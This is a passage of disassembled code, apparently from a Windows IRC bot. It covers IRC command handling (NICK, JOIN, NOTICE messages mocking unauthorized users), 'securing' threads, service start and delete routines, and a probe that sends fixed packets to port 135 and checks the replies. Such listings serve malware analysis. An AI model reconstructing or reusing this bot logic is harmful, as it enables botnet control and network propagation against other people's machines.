		lea	eax, [ebp+var_C0]
		push	eax
		jmp	short loc_412514
; ---------------------------------------------------------------------------


loc_412538:				; CODE XREF: sub_40CD3A+57F3j
		mov	[ebp+var_39C], bl


loc_41253E:				; CODE XREF: sub_40CD3A+57EBj
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_37C], eax
		lea	eax, [ebp+var_41C]
		push	eax
		mov	[ebp+var_420], esi
		call	sub_41588A
		add	esp, 0Ch
		push	[ebp+var_38C]
		push	esi
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset unk_427DC8
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	11h
		push	eax
		call	sub_414DDA
		add	esp, 1Ch
		mov	[ebp+var_388], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407F42
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_388]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_4125F2
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433A68
		jmp	loc_412993
; ---------------------------------------------------------------------------


loc_4125EA:				; CODE XREF: sub_40CD3A+58BEj
		push	32h
		call	dword_421060	; Sleep


loc_4125F2:				; CODE XREF: sub_40CD3A+589Dj
		cmp	[ebp+var_378], ebx
		jz	short loc_4125EA
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_4125FF:				; CODE XREF: sub_40CD3A+F57j
					; sub_40CD3A+F6Cj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412627
		push	edi
		push	offset aSec	; "sec"
		call	sub_415730
		pop	ecx
		mov	[ebp+var_2E8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_412631


loc_412627:				; CODE XREF: sub_40CD3A+58D4j
		mov	[ebp+var_2E8], 1


loc_412631:				; CODE XREF: sub_40CD3A+58EBj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_36C]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_2E8], ebx
		mov	[ebp+var_370], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2E4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_412678
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_412678:				; CODE XREF: sub_40CD3A+5937j
		push	eax
		push	offset dword_433A18
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	19h
		push	eax
		call	sub_414DDA
		add	esp, 1Ch
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_370]
		push	ebx
		push	eax
		push	offset sub_4144A0
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_4126EF
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4339C8
		jmp	loc_4108F0
; ---------------------------------------------------------------------------


loc_4126E7:				; CODE XREF: sub_40CD3A+59BBj
		push	32h
		call	dword_421060	; Sleep


loc_4126EF:				; CODE XREF: sub_40CD3A+599Aj
		cmp	[ebp+var_2DC], ebx
		jz	short loc_4126E7
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_4126FC:				; CODE XREF: sub_40CD3A+F2Dj
					; sub_40CD3A+F42j
		push	offset aEnz999_9b ; "enz 999.9b"
		push	offset dword_4339A0
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_41270B:				; CODE XREF: sub_40CD3A+F03j
					; sub_40CD3A+F18j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412767
		push	esi
		call	sub_41587F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_41275C
		cmp	eax, 2
		jge	short loc_41275C
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_412751
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_436B80
		push	eax
		call	sub_415316
		mov	[esi], bl
		jmp	loc_40EB0A
; ---------------------------------------------------------------------------


loc_412751:				; CODE XREF: sub_40CD3A+59F9j
		push	eax
		push	offset dword_433960
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_41275C:				; CODE XREF: sub_40CD3A+59E5j
					; sub_40CD3A+59EAj
		push	eax
		push	offset dword_433920
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_412767:				; CODE XREF: sub_40CD3A+59DAj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_41276C:				; CODE XREF: sub_40CD3A+5A4Ej
		push	[ebp+var_94]
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41278F
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41276C
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_41278F:				; CODE XREF: sub_40CD3A+5A42j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_436B80
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_4127A9:				; CODE XREF: sub_40CD3A+ED9j
					; sub_40CD3A+EEEj
		push	[ebp+var_90]
		push	offset dword_436AD8
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412818
		call	sub_414F9D
		push	ebx
		call	dword_421114	; ExitProcess


loc_4127CB:				; CODE XREF: sub_40CD3A+EAFj
					; sub_40CD3A+EC4j
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_43C]
		push	dword_42C260
		push	eax
		call	sub_414278
		lea	eax, [ebp+var_43C]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		lea	eax, [ebp+var_43C]
		push	eax
		push	offset dword_4338E8
		call	sub_40B0EC


loc_412815:				; CODE XREF: sub_40CD3A+2A1Fj
		add	esp, 24h


loc_412818:				; CODE XREF: sub_40CD3A+61Dj
					; sub_40CD3A+629j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_412820:				; CODE XREF: sub_40CD3A+ABBj
					; sub_40CD3A+AD0j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40D18F
		cmp	[ebp+var_A4], ebx
		jnz	loc_40D18F
		push	offset dword_42F650
		push	[ebp+var_94]
		call	sub_416B3F
		mov	esi, eax
		push	offset dword_43B668
		push	ebx
		inc	esi
		call	sub_416B3F
		push	offset asc_4338E4 ; "~"
		push	eax
		call	sub_416B3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_415730
		add	esp, 20h
		test	eax, eax
		jz	short loc_4128C8
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		push	esi
		push	offset dword_433858


loc_4128B4:				; CODE XREF: sub_40CD3A+5BE7j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		add	esp, 30h
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_4128C8:				; CODE XREF: sub_40CD3A+5B41j
		mov	[ebp+arg_24], ebx


loc_4128CB:				; CODE XREF: sub_40CD3A+5BAEj
		mov	eax, [ebp+arg_24]
		push	edi
		push	off_42C328[eax]
		call	sub_41512D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412923
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], 4
		jb	short loc_4128CB
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		push	esi
		push	offset dword_433818
		jmp	short loc_4128B4
; ---------------------------------------------------------------------------


loc_412923:				; CODE XREF: sub_40CD3A+5BA4j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_412928:				; CODE XREF: sub_40CD3A+5C0Fj
		cmp	[edi], bl
		jnz	short loc_41293F
		push	[ebp+arg_0]
		push	offset aHi	; "hi"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412950


loc_41293F:				; CODE XREF: sub_40CD3A+5BF0j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_412928
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_412950:				; CODE XREF: sub_40CD3A+5C03j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_B10]
		push	7Fh
		push	eax
		push	esi
		call	sub_416BE0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_412987
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4337E4
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_412987:				; CODE XREF: sub_40CD3A+5C31j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_4337B0


loc_412993:				; CODE XREF: sub_40CD3A+575j
					; sub_40CD3A+552Bj ...
		call	sub_40B0EC
		pop	ecx


loc_412999:				; CODE XREF: sub_40CD3A+28C5j
		pop	ecx
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_41299F:				; CODE XREF: sub_40CD3A+200j
					; sub_40CD3A+215j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	offset dword_42C2FC
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		add	esp, 2Ch
		mov	dword_46B000, edi
		jmp	loc_40CFC9
sub_40CD3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129E5	proc near		; CODE XREF: sub_412A1D+125p
					; sub_412A1D+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_412A13


loc_4129F6:				; CODE XREF: sub_4129E5+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417950
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412A19
		inc	esi
		cmp	esi, edi
		jl	short loc_4129F6


loc_412A13:				; CODE XREF: sub_4129E5+Fj
		xor	al, al


loc_412A15:				; CODE XREF: sub_4129E5+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_412A19:				; CODE XREF: sub_4129E5+27j
		mov	al, 1
		jmp	short loc_412A15
sub_4129E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A1D	proc near		; CODE XREF: sub_4033B6+88p
					; sub_4033B6+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_415B90
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_412A5E
		dec	eax
		jz	short loc_412A3C
		dec	eax


loc_412A36:				; CODE XREF: sub_412A1D+57j
		xor	eax, eax


loc_412A38:				; CODE XREF: sub_412A1D+3Fj
					; sub_412A1D+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_412A3C:				; CODE XREF: sub_412A1D+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43CA64	; inet_addr
		push	eax
		call	sub_40762E
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_412A38
; ---------------------------------------------------------------------------


loc_412A5E:				; CODE XREF: sub_412A1D+13j
		push	6
		push	1
		push	2
		call	dword_43CAA4	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_412A36
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43CA24	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_409F7A
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43C9CC	; connect
		cmp	eax, edi
		jz	loc_412B7A
		push	ebx
		push	48h
		push	offset dword_436BF8
		push	esi
		call	dword_43CA74	; send
		cmp	eax, edi
		jz	loc_412B7A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA3C	; recv
		cmp	eax, edi
		jz	loc_412B7A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_412B7A
		push	ebx
		push	18h
		push	offset dword_436C44
		push	[ebp+arg_4]
		call	dword_43CA74	; send
		cmp	eax, edi
		jz	short loc_412B7A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43CA3C	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_412B7A
		cmp	[ebp+var_200E],	2
		jnz	short loc_412B7A
		push	10h
		push	offset loc_436C60
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4129E5
		add	esp, 10h
		test	al, al
		jz	short loc_412B5A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_412B7A
; ---------------------------------------------------------------------------


loc_412B5A:				; CODE XREF: sub_412A1D+12Fj
		push	10h
		push	offset dword_436C74
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4129E5
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_412B7A:				; CODE XREF: sub_412A1D+9Bj
					; sub_412A1D+B2j ...
		push	[ebp+arg_4]
		call	dword_43CABC	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_412A38
sub_412A1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B8B	proc near		; CODE XREF: sub_40CBBE+3Dp
					; sub_40CD3A+1BDp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41732F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA74	; send
		leave
		retn
sub_412B8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BD1	proc near		; CODE XREF: start+88p	sub_401444+76p	...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_412BEC
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_412BEC:				; CODE XREF: sub_412BD1+14j
		push	edi
		call	sub_415B10
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_415B10
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_436C88
		push	eax
		call	sub_415316
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA74	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_412C6A
		push	7D0h
		call	dword_421060	; Sleep

locret_412C6A:				; CODE XREF: sub_412BD1+8Cj
		leave
		retn
sub_412BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_412C6C	proc near		; CODE XREF: sub_40CD3A:loc_40EB9Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_412CD1
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_436CA0[esi]
		push	edi
		push	eax
		call	sub_412CF3
		add	esp, 14h
		test	eax, eax
		jnz	short loc_412CB4
		push	edi
		push	off_436C9C[esi]
		mov	esi, offset dword_46B6D8
		push	offset dword_436DD4
		push	esi
		call	sub_415316
		add	esp, 10h
		jmp	short loc_412CEE
; ---------------------------------------------------------------------------


loc_412CB4:				; CODE XREF: sub_412C6C+2Aj
		push	eax
		call	sub_412D95
		push	eax
		push	edi
		mov	esi, offset dword_46B6D8
		push	offset dword_436D98
		push	esi
		call	sub_415316
		add	esp, 14h
		jmp	short loc_412CEE
; ---------------------------------------------------------------------------


loc_412CD1:				; CODE XREF: sub_412C6C+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_46B6D8
		push	off_436C98[eax*4]
		push	offset dword_436D60
		push	esi
		call	sub_415316
		add	esp, 0Ch


loc_412CEE:				; CODE XREF: sub_412C6C+46j
					; sub_412C6C+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_412C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412CF3	proc near		; CODE XREF: sub_412C6C+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43CA18	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_412D1A
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412D8F
; ---------------------------------------------------------------------------


loc_412D1A:				; CODE XREF: sub_412CF3+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43C90C	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_412D3A
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412D87
; ---------------------------------------------------------------------------


loc_412D3A:				; CODE XREF: sub_412CF3+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_412D6D
		cmp	eax, 3
		jz	short loc_412D5E
		jle	short loc_412D80
		cmp	eax, 6
		jg	short loc_412D80
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43C974	; ControlService
		jmp	short loc_412D74
; ---------------------------------------------------------------------------


loc_412D5E:				; CODE XREF: sub_412CF3+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43C914	; StartServiceA
		jmp	short loc_412D74
; ---------------------------------------------------------------------------


loc_412D6D:				; CODE XREF: sub_412CF3+4Dj
		push	esi
		call	dword_43C978	; DeleteService


loc_412D74:				; CODE XREF: sub_412CF3+69j
					; sub_412CF3+78j
		test	eax, eax
		jnz	short loc_412D80
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax


loc_412D80:				; CODE XREF: sub_412CF3+54j
					; sub_412CF3+59j ...
		push	esi
		call	dword_43C928	; CloseServiceHandle


loc_412D87:				; CODE XREF: sub_412CF3+45j
		push	edi
		call	dword_43C928	; CloseServiceHandle
		pop	esi


loc_412D8F:				; CODE XREF: sub_412CF3+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_412CF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D95	proc near		; CODE XREF: sub_412C6C+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_412E4A
		jz	loc_412E43
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_412E0D
		jz	short loc_412E03
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_412DF9
		dec	ecx
		dec	ecx
		jz	short loc_412DEF
		dec	ecx
		jz	short loc_412DE5
		sub	ecx, 51h
		jz	short loc_412DDB
		sub	ecx, 24h
		jnz	loc_412EC0	; default
					; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412DDB:				; CODE XREF: sub_412D95+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412DE5:				; CODE XREF: sub_412D95+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412DEF:				; CODE XREF: sub_412D95+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412DF9:				; CODE XREF: sub_412D95+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412E03:				; CODE XREF: sub_412D95+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412E0D:				; CODE XREF: sub_412D95+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_412E3C
		dec	ecx
		jz	short loc_412E35
		dec	ecx
		jz	short loc_412E2E
		dec	ecx
		jnz	loc_412EC0	; default
					; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412E2E:				; CODE XREF: sub_412D95+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E35:				; CODE XREF: sub_412D95+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E3C:				; CODE XREF: sub_412D95+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E43:				; CODE XREF: sub_412D95+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E4A:				; CODE XREF: sub_412D95+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_412EC0 ; default
					; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_412EAD
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_412EC0 ; default
					; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_412F01[ecx]
		jmp	off_412ED9[ecx*4] ; switch jump


loc_412E6E:				; DATA XREF: .text:off_412ED9o
		push	offset aTheSpecifiedDa ; jumptable 00412E67 case 7
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E75:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: .text:off_412ED9o
		push	offset aTheServiceDepe ; jumptable 00412E67 case 17
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E7C:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: .text:off_412ED9o
		push	offset aTheServiceDe_0 ; jumptable 00412E67 case 10
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E83:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: .text:off_412ED9o
		push	offset aTheServiceHasB ; jumptable 00412E67 case 0
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E8A:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: .text:off_412ED9o
		push	offset aTheSpecified_0 ; jumptable 00412E67 case 2
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E91:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: .text:off_412ED9o
		push	offset aTheServiceCoul ; jumptable 00412E67 case 11
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E98:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: .text:off_412ED9o
		push	offset aTheServiceHa_0 ; jumptable 00412E67 case 14
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E9F:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: .text:off_412ED9o
		push	offset aTheRequested_1 ; jumptable 00412E67 case 3
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412EA6:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: .text:off_412ED9o
		push	offset aTheServiceHasN ; jumptable 00412E67 case 4
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412EAD:				; CODE XREF: sub_412D95+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_412EB2:				; CODE XREF: sub_412D95+41j
					; sub_412D95+4Bj ...
		push	offset dword_46B008
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	short loc_412ED3
; ---------------------------------------------------------------------------


loc_412EC0:				; CODE XREF: sub_412D95+36j
					; sub_412D95+89j ...
		push	eax		; default
					; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_46B008
		call	sub_415316
		add	esp, 0Ch


loc_412ED3:				; CODE XREF: sub_412D95+129j
		mov	eax, offset dword_46B008
		retn
sub_412D95	endp

; ---------------------------------------------------------------------------
off_412ED9	dd offset loc_412E83	; DATA XREF: sub_412D95+D2r
		dd offset loc_412E8A	; jump table for switch	statement
		dd offset loc_412E9F
		dd offset loc_412EA6
		dd offset loc_412E6E
		dd offset loc_412E7C
		dd offset loc_412E91
		dd offset loc_412E98
		dd offset loc_412E75
		dd offset loc_412EC0
byte_412F01	db	0,     9,     1,     2 ; DATA XREF: sub_412D95+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F13	proc near		; CODE XREF: sub_40CD3A+1E8Cp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43CA18	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_412F4B:				; CODE XREF: sub_412F13+123j
		lea	eax, [ebp+var_8]


loc_412F4E:				; DATA XREF: .text:off_42B8CCo
		push	eax
